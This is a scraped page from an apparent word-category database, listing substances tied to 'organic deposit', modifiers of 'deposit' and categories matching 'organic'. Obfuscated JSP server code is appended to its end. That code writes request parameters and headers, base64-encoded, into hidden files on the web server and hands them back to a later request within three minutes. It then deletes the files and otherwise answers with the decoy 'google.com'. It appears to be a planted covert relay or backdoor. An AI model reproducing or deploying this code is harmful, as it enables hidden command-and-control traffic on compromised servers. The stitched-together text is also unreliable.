Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Members for Fine-Grained Categories
organic_deposit
:
deposition,
peat,
urine,
gravel,
paraffin,
potassium,
oil,
lime,
dirt,
coal,
droppings,
amber,
lactic_acid,
phosphate,
triglyceride,
fallen_leaf,
sand,
tar,
naphthalene,
ash,
hop_residue,
fluorspar,
clay,
faeces,
protein,
sulfate,
uranium,
pear,
phosphorus,
fig,
yeast,
petrol,
sulphate,
pvc,
petroleum_oil,
carbonate,
slate,
granite,
oxalate,
skin,
cholesterol,
heavy_oil,
mineral,
cement,
nitrate,
collagen,
tin,
animal_dung,
stain,
chloride,
food,
zeolite,
peat_clay,
ice,
adhesive,
fertilizer,
cobalt,
petroleum,
plastic,
residue,
soot,
rope,
acid,
grease,
soot_deposit,
chalk,
leaf,
carbon_soot,
fish,
soil,
sludge,
calcium,
lignite,
silica,
gum,
marl,
rubber,
lead,
arsenic,
sugar,
metal,
iron_sulfide,
hydrocarbon,
silt,
liver,
natural_gas,
water,
shell,
keratin,
oxide,
tannin,
sulfide,
vermiculite,
aluminum,
wax,
paint,
zinc,
silver,
carbon,
mud,
gold,
salt,
dried_milk,
talc,
creosote,
coral,
asphalt,
polymer,
mercury,
coke,
iron,
shampoo,
log,
black_shale,
dust,
carbide,
iron_compound,
stone,
manganese,
gas,
soap,
sweat,
humus,
dried_blood,
sulfur,
copper,
rock,
ink,
Modifiers matching
deposit
:
hard,
light,
argillaceous,
subsurface,
inorganic,
damaging,
metal,
organic,
temporary,
triassic,
natural,
unconsolidated,
salt,
primary,
fatty,
surficial,
heavier,
heterogeneous,
smaller,
sandy,
unusual,
consolidated,
secondary,
voluntary,
terrestrial,
sedimentary,
calcareous,
saturated,
internal,
metallic,
loose,
rigid,
carbonaceous,
brittle,
important,
functional,
vulnerable,
new,
iron,
quaternary,
greasy,
lacustrine,
intermediate,
volcanic,
clean,
combustible,
diverse,
inflammatory,
mobile,
hygroscopic,
valuable,
stubborn,
siliceous,
typical,
native,
miscellaneous,
solid,
precious,
geological,
biogenic,
monthly,
atmospheric,
heavy,
particulate,
undesirable,
textured,
conductive,
hydrophilic,
harmful,
crystalline,
aqueous,
soluble,
fine,
nonmetallic,
rich,
lunar,
compressible,
soft,
clastic,
homogeneous,
commercial,
deleterious,
geologic,
alkaline,
underlying,
dense,
archaeological,
over,
up,
oily,
finer,
direct,
common,
residual,
particular,
colored,
large,
artificial,
unwanted,
melting,
fossil,
harder,
useful,
coarse,
permeable,
wet,
larger,
sacrificial,
regular,
glacial,
economic,
difficult,
foreign,
rare,
impermeable,
marine,
dry,
insoluble,
chemical,
alluvial,
Simple categories matching
organic
:
semiconductor,
fluid,
compound,
sulfur,
material,
matter,
nut,
substance,
solvent,
part,
confection,
meal,
fraction,
recycling,
sulfide,
chemical,
antimicrobial,
sweetener,
substrate,
metal,
residual,
fabric,
salt,
structure,
contaminant,
molecule,
sulphide,
fibre,
drink,
plant,
juice,
spirits,
roof,
vegetable,
binder,
tissue,
instrument,
resin,
contamination,
milk,
microorganism,
pigment,
waste,
malady,
dirt,
accessory,
silicate,
nitrate,
process,
ink,
group,
phosphorus,
debris,
oxide,
intermediate,
force,
hydrocarbon,
powder,
syndrome,
whole,
fuel,
gas,
rest,
collection,
goody,
preservative,
finish,
gem,
buffer,
phenomenon,
oil,
pathology,
state,
veg,
label,
cavity,
nitrile,
particle,
body,
level,
fluoride,
residue,
ligand,
reaction,
elastomer,
deposit,
colloid,
jewelry,
insecticide,
fungicide,
alcohol,
explosive,
oxidant,
staple,
nature,
condiment,
smell,
power,
melon,
medium,
receptor,
activity,
sludge,
package,
dielectric,
impurity,
sulfonate,
scent,
iron,
wax,
solid,
surface,
model,
mushroom,
outlet,
macromolecule,
jelly,
dust,
fertilizer,
cyanide,
cloth,
film,
composition,
thickener,
base,
unit,
bedding,
abrasive,
condition,
fare,
textile,
complex,
iodide,
berry,
gemstone,
plastic,
causation,
involvement,
phosphate,
bromine,
ester,
symptom,
acid,
liquid,
place,
quality,
sugar,
origin,
hydroxide,
extract,
pathogen,
mineral,
polymer,
sound,
commodity,
shape,
solute,
narcotic,
formation,
forage,
micronutrient,
synthesis,
constituent,
information,
source,
nutrient,
zone,
azide,
flour,
form,
metabolite,
area,
container,
reactant,
kingdom,
poison,
beverage,
fiber,
being,
edible,
carrier,
green,
host,
system,
fruit,
herb,
foodstuff,
equipment,
diluent,
operations,
cotton,
chocolate,
particulate,
abnormality,
drug,
aerosol,
cause,
stone,
excrement,
sheet,
amine,
allergen,
grouping,
adhesive,
bait,
insulator,
rubber,
foam,
filler,
artifact,
production,
wetland,
confectionery,
restrainer,
psychosis,
odor,
ingredient,
pastry,
garbage,
artefact,
peroxide,
chemistry,
volatile,
elements,
seed,
veggie,
alteration,
fragment,
device,
species,
thing,
parasite,
lubricant,
entity,
operation,
herbicide,
cofactor,
disease,
apparel,
control,
aggregate,
keyboard,
intellectual,
mulch,
motif,
detergent,
sediment,
brew,
item,
phospholipid,
disturbance,
flower,
category,
stuff,
protein,
property,
soil,
monomer,
petrochemical,
relic,
food,
red,
feed,
pesticide,
conductor,
radical,
stain,
coating,
change,
instrumentation,
disorder,
organism,
inhibitor,
manure,
transformation,
organs,
detritus,
matrix,
layer,
event,
spice,
mixture,
spray,
starch,
salad,
byproduct,
pollutant,
carbon,
tea,
product,
meat,
dyestuff,
illness,
chloride,
space,
medicine,
agent,
halide,
surfactant,
halogen,
rock,
object,
gum,
lesion,
precursor,
derivative,
grain,
fertiliser,
treasure,
carbonyl,
work,
starches,
toxin,
component,
content,
infusion,
dish,
livestock,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>